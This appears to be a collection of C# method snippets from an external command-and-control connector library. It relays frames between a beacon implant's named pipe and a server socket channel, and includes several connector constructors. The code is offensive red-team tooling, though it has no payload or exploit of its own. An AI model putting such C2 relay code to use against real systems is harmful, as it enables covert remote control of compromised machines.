/// <summary> /// Read a frame from the socket and send it to the beacon channel /// </summary> /// <param name="c2"></param> /// <returns></returns> public bool ReadAndSendTo(IC2Channel c2) { var buffer = ReadFrame(); //if (buffer.Length <= 0) return false; c2.SendFrame(buffer); return(true); }
/// <summary> /// Reads a frame from the NamedPipe and sends it to the other C2 channel /// </summary> /// <param name="c2"></param> /// <returns>Whether the read/send were successful</returns> public bool ReadAndSendTo(IC2Channel c2) { var buffer = ReadFrame(); if (buffer.Length <= 0) { return(false); } if (ExternalId == 0 && buffer.Length == 132) { ExtractId(buffer); } c2.SendFrame(buffer); return(true); }
/// <summary> /// Create a connector using the specified channels /// </summary> /// <param name="beaconChannel"></param> /// <param name="serverChannel"></param> protected BaseConnector(IC2Channel beaconChannel, IC2Channel serverChannel) { BeaconChannel = beaconChannel; ServerChannel = serverChannel; }
/// <summary> /// Creates a new BeaconConnector using the supplied IC2Channel for the ServerChannel. The BeaconChannel PipeName will /// need to be manually set with SetPipeName() /// </summary> /// <param name="serverChannel"></param> protected BeaconConnector(IC2Channel serverChannel) : base(new BeaconChannel(), serverChannel) { }
/// <summary> /// Creates a new BeaconConnector using the pipeName for the BeaconChannel and the supplied IC2Channel for the /// ServerChannel /// </summary> /// <param name="pipeName"></param> /// <param name="serverChannel"></param> protected BeaconConnector(Guid pipeName, IC2Channel serverChannel) : base(new BeaconChannel(pipeName), serverChannel) { }
/// <summary> /// Creates a new SocketConnector using the ipAddr and port for the ServerChannel /// and the supplied IC2Channel for the BeaconChannel /// </summary> /// <param name="beaconChannel"></param> /// <param name="ipAddr"></param> /// <param name="port"></param> protected SocketConnector(IC2Channel beaconChannel, string ipAddr, string port) : base(beaconChannel, new SocketChannel(ipAddr, port)) { }
/// <summary> /// Creates a new BeaconConnector using the supplied IC2Channel for the ServerChannel. The BeaconChannel PipeName will /// need to be manually set with SetPipeName() /// </summary> /// <param name="serverChannel"></param> protected BeaconConnector(IC2Channel serverChannel, int sleep) : base(new BeaconChannel(), serverChannel, sleep) { }
/// <summary> /// Create a connector using the specified channels /// </summary> /// <param name="beaconChannel"></param> /// <param name="serverChannel"></param> /// <param name="sleep"></param> protected BaseConnector(IC2Channel beaconChannel, IC2Channel serverChannel, int sleep) { BeaconChannel = beaconChannel; ServerChannel = serverChannel; Sleep = sleep; }